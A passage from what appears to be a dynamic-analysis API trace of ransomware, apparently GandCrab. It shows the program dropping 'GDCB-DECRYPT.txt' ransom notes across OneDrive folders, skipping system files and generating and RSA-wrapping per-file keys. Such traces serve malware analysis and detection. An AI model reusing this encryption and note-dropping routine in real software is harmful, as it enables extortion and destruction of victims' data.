[0172.032] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tg\\\\GDCB-DECRYPT.txt") returned 277 [0172.032] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tg\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\tg\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.032] GetLastError () returned 0x3 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.032] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.032] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tg-cyrl\\\\GDCB-DECRYPT.txt") returned 282 [0172.033] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tg-cyrl\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\tg-cyrl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.033] GetLastError () returned 0x3 [0172.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.033] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.033] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\th\\\\GDCB-DECRYPT.txt") returned 277 [0172.033] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\th\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\th\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.033] GetLastError () returned 0x3 [0172.033] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt") returned 278 [0172.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt") returned 278 [0172.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt") returned 278 [0172.033] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt") returned 278 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="desktop.ini") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="autorun.inf") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="ntuser.dat") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="iconcache.db") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="bootsect.bak") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="boot.ini") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="ntuser.dat.log") returned 1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="thumbs.db") returned -1 [0172.033] lstrcmpiW (lpString1="ThirdPartyNotices.txt", lpString2="GDCB-DECRYPT.txt") returned 1 [0172.033] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\thirdpartynotices.txt")) returned 0xffffffff [0172.033] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt", dwFileAttributes=0xfffffffe) returned 0 [0172.033] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0172.034] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.035] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.035] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0172.035] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.035] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0172.035] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.036] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.036] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0172.036] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.036] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0172.038] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636418) returned 1 [0172.039] CryptGetKeyParam (in: hKey=0x636418, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.039] CryptEncrypt (in: hKey=0x636418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30f0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x30f0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0172.039] GetLastError () returned 0x0 [0172.039] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.039] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0172.042] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636718) returned 1 [0172.042] CryptGetKeyParam (in: hKey=0x636718, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0172.042] CryptEncrypt (in: hKey=0x636718, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3100000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3100000*, pdwDataLen=0x285d120*=0x100) returned 1 [0172.042] GetLastError () returned 0x0 [0172.042] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.042] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ThirdPartyNotices.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.043] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ti\\\\GDCB-DECRYPT.txt") returned 277 [0172.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ti\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ti\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.043] GetLastError () returned 0x3 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.043] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tk-tm\\\\GDCB-DECRYPT.txt") returned 280 [0172.043] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tk-tm\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\tk-tm\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.043] GetLastError () returned 0x3 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.043] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.044] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tn-za\\\\GDCB-DECRYPT.txt") returned 280 [0172.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tn-za\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\tn-za\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.044] GetLastError () returned 0x3 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.044] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tr\\\\GDCB-DECRYPT.txt") returned 277 [0172.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\tr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.044] GetLastError () returned 0x3 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.044] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tt\\\\GDCB-DECRYPT.txt") returned 277 [0172.044] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\tt\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\tt\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.044] GetLastError () returned 0x3 [0172.044] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ucrtbase.dll") returned 269 [0172.044] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ucrtbase.dll") returned 269 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.044] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.045] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ug\\\\GDCB-DECRYPT.txt") returned 277 [0172.045] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ug\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ug\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.045] GetLastError () returned 0x3 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.045] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ug-arab\\\\GDCB-DECRYPT.txt") returned 282 [0172.045] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ug-arab\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ug-arab\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.045] GetLastError () returned 0x3 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.045] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\uk\\\\GDCB-DECRYPT.txt") returned 277 [0172.045] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\uk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\uk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.045] GetLastError () returned 0x3 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0172.045] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0172.046] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ur\\\\GDCB-DECRYPT.txt") returned 277 [0172.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ur\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ur\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, 